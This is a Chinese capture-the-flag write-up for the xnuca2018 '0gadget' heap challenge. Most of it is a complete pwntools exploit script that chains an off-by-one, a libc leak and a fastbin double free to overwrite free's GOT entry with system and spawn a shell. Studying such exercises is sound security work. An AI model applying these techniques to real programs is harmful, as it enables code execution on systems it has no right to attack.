xnuca2018-pwn-0gadget

  • off-by-one

  • double free,uaf

  • fast-bin-attack

函數功能:

  • add函數中有一個off-by-one溢出,可以修改下一個本數組的堆指針的最後一個字節,使其指向最後一字節爲'\x00'的堆塊

  • 用off-by-one修改後,free這個unsortedbin堆塊,然後顯示其中的fd,得到libc基址

  • 同理,用double-free構造fast-bin鏈,並且在got表上或者malloc_hook上找到一個合適的堆塊,獲得這個堆塊,修改malloc_hook或者free-got。

坑:

 

題目說:部署環境是busybox,一種虛擬機。其中的libc不知道,所以one_gadget不知道。所以改__malloc_hook爲one_gadget在本地可以跑通,但是打遠程卻跑不通。

所以只能修改free_got爲system函數,然後free("/bin/sh")。我一直在煩惱爲什麼one_gadget不行,並且想裝一個busybox,(相當於編譯個linux源碼安裝)。於是問同學,他們也在苦惱,然後說改got錶行不行啊。豁然開朗。

於是我在got表上找合適的堆塊,一直找呀找,找了很久:我是這樣找的:

x/8xg 0x601ff0

但是一直沒找到,後來同學做出來了,我去問:他是這樣找的:只要看4個字節就行了。細節啊!!!

x/8xw 0x601ff0

唉,到手的兔子,飛了:

from pwn import *

# p = process("./steak",env={"LD_PRELOAD":"./libc-2.23.so"})

#106.75.63.193 9705

# p = remote("106.75.63.193",9705)



p = process("./0gadget")

# context.log_level='debug'

context.terminal=['tmux','splitw','-h']

libc=ELF("libc.so.6")

def add(size,title,content,remark):

    p.recvuntil("Your choice: ")

    p.sendline("1")

    p.recvuntil("note size: ")

    p.sendline(str(size))

    p.recvuntil("the title: ")

    p.sendline(title)

    p.recvuntil("the content: ")

    p.sendline(content)

    p.recvuntil("REMARK: ")

    p.sendline(remark)



def delete(idx,remark):

    p.recvuntil("Your choice: ")

    p.sendline("2")

    p.recvuntil("to delete: ")

    p.sendline(str(idx))

    p.recvuntil("REMARK: ")

    p.sendline(remark)



def show(idx,remark):

    p.recvuntil("Your choice: ")

    p.sendline("3")

    p.recvuntil("to show: ")

    p.sendline(str(idx))

    p.recvuntil("REMARK: ")

    p.sendline(remark)

add(0xe0,'f'*0x70,'content','remark')#0

add(0xa0,'f'*0x70,'content','remark')#1 unsorted bin

add(0x68,'f'*0x90,'fffffff','ffffff')#2 這裏0x90個a,最後的\x00會覆蓋本堆塊指針,使其等於#1堆塊指針



# attach(p)

delete(2,'xxxxxxx') #釋放#2堆塊,但是實際釋放的是#1堆塊

# attach(p)

p.recvuntil("Your choice: ")

p.sendline("3")

p.recvuntil("to show: ")

p.sendline(str(1))

p.recvuntil("note content: ")

libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b78 #顯示main_arena+88

print("libc_base:"+hex(libc_base))

libc.address=libc_base

# attach(p)

p.recvuntil("REMARK: ")

p.sendline('remark')



add(0x58,'f'*0x70,'fffffff','ffffff')#2

add(0x58,'f'*0x70,'fffffff','ffffff')#3

delete(1,'remark')#1 和 3指針相等

delete(3,'remark')

delete(2,'remark')#double free

system=libc.symbols['system']

# one_gadget=libc_base+0xf02a4

add(0x58,'f'*0x70,p64(0x601ffa),'ffffff')#1 指向free-got表的僞造堆塊

add(0x58,'f'*0x70,'fffffff','ffffff')#2

add(0x58,'f'*0x70,'/bin/sh','ffffff')#3

# attach(p)

add(0x58,'f'*0x70,'f'*0xe+p64(system),'ffffff')#寫入free-got爲system



p.recvuntil("Your choice: ")

p.sendline("2")

p.recvuntil("to delete: ")

p.sendline(str(3))#free("/bin/sh")

p.interactive()

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章